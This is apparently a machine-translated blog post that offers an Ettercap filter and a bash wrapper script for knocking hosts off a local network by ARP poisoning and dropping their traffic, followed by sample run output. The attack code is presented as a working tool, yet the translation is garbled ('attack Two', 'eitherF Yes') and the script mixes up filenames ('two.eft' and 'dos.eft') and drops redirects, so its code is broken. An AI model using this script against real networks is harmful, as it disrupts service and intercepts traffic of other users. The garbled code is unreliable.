Good afternoon,
Today I'm going to post a small filter for Ettercap to perform a denial of service.
What is a DOS attack:
In security computing, a denial of service attack, also called attack Two(from the acronym in Englishdenial eitherF Yesservice), is an attack on a system computers either grid that causes a service or resource to be inaccessible to legitimate users. It normally causes the loss of network connectivity due to the consumption of the bandwidth of the victim's network or overloading the computational resources of the victim's system.
It is generated by saturating the ports with information flow, causing the serverbecomes overloaded and cannot continue providing services, which is why it is called “denial”, as it causes the server to not be able to cope with the number of requests. This technique is used by the so-called Crackers to take target servers out of service.
Ettercap filter
if (ip.src == 'IP ADDRESS ' || ip.dst == 'IP ADDRESS')
{
drop();
kill();
}In order not to have to edit the filter file, I created a very dirty little script, really... but oh well. it works hahaha.
#!/bin/bash
#Ettercap ddos script
#We check if the user that is running is root. If it is not, we do an exit
if [ $(whoami) != "root" ]; then
echo "You must be root to run this script."
echo "To log in as root, type \"su\" without the quotes."
exit 1
#We check if you have Ettercap installed, if you don't have it we execute an exit
elif [ ! -x "/usr/sbin/ettercap" ]; then
echo "It looks like you don't have Ettercap installed"
echo "To install on Debian-based distributions: apt-get install ettercap"
echo "To install on Redhat-based distributions: yum install ettercap"
exit 1
fi
#We put a pretty header
echo
echo " Ettercap ddos script"
echo "_____ ____ __________________"
echo
#We ask the address of Origin, Destination and the interface
read -p "Enter source address: " ipsrc
read -p "Enter destination address: " ipdst
read -p "Enter the Interface. Example eth0: " inter
#We check if the file dos.eft exists, if it exists we delete it
#And we create it again with the configuration added above
#It's bullshit but I don't know why I say it like that
if [ -e two.eft ]
then
rm -r dos.eft
echo "if (ip.src == '$ipsrc' || ip.dst == '$ipdst') " >> dos.eft
echo "{" >> dos.eft
echo "drop();" >> dos.eft
echo "kill();" >> two.eft
echo "msg('Take kill 9!!!!');" two.eft
echo "}" >> dos.eft
#Once the file is generated we make an etterfilter to generate dos.ef
etterfilter dos.eft -o dos.ef
#In the event that the dos.eft file does not exist, we do the same
#Generate the file and pass it the previously added data
else
echo "if (ip.src == $ipsrc || ip.dst == $ipdst) {" > dos.eft
echo "drop();" > two.eft
echo "kill();" > two.eft
echo "msg('Take kill 9!!!!');" two.eft
echo "}" > dos.eft
etterfilter dos.eft -o dos.ef
fi
#Check that dos.ef exists, if it exists we carry out the attack.
if [ -e two.ef ]
then
ettercap -T -q -F dos.ef -M ARP /$ipdst/ // -i $inter
#En caso que no exista lo creamos con etterfilter y empezamos el ataque
else
etterfilter dos.eft -o dos.ef
ettercap -T -q -F dos.ef -M ARP /$ipdst/ // -i $inter
fiAttacker
Example: of use:
rokitoh@red-orbitasudo:~# sh ddos.sh
Ettercap ddos script
_____ ____ __________________
Introduzca direccion origen: 192.168.1.100
Introduzca direccion destino: 192.168.1.105
Introduzca la Interfaz. Ejemplo eth0: eth1
msg(‘Toma kill 9!!!!’); dos.eftetterfilter NG-0.7.3 copyright 2001-2004 ALoR & NaGA12 protocol tables loaded:
DECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth11 constants loaded:
VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARPParsing source file ‘dos.eft’ done.Unfolding the meta-tree done.Converting labels to real offsets done.Writing output to ‘dos.ef’ done.-> Script encoded into 7 instructions.ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGAContent filters loaded from dos.ef…
Listening on eth1… (Ethernet)eth1 -> 00:1F:D0:21:E9:3F 192.168.1.102 255.255.255.0SSL dissection needs a valid ‘redir_command_on’ script in the etter.conf file
Privileges dropped to UID 65534 GID 65534…28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known servicesRandomizing 255 hosts for scanning…
Scanning the whole netmask for 255 hosts…
* |==================================================>| 100.00 %3 hosts added to the hosts list…ARP poisoning victims:GROUP 2 : ANY (all the hosts in the list)
Starting Unified sniffing…Victim:
Comments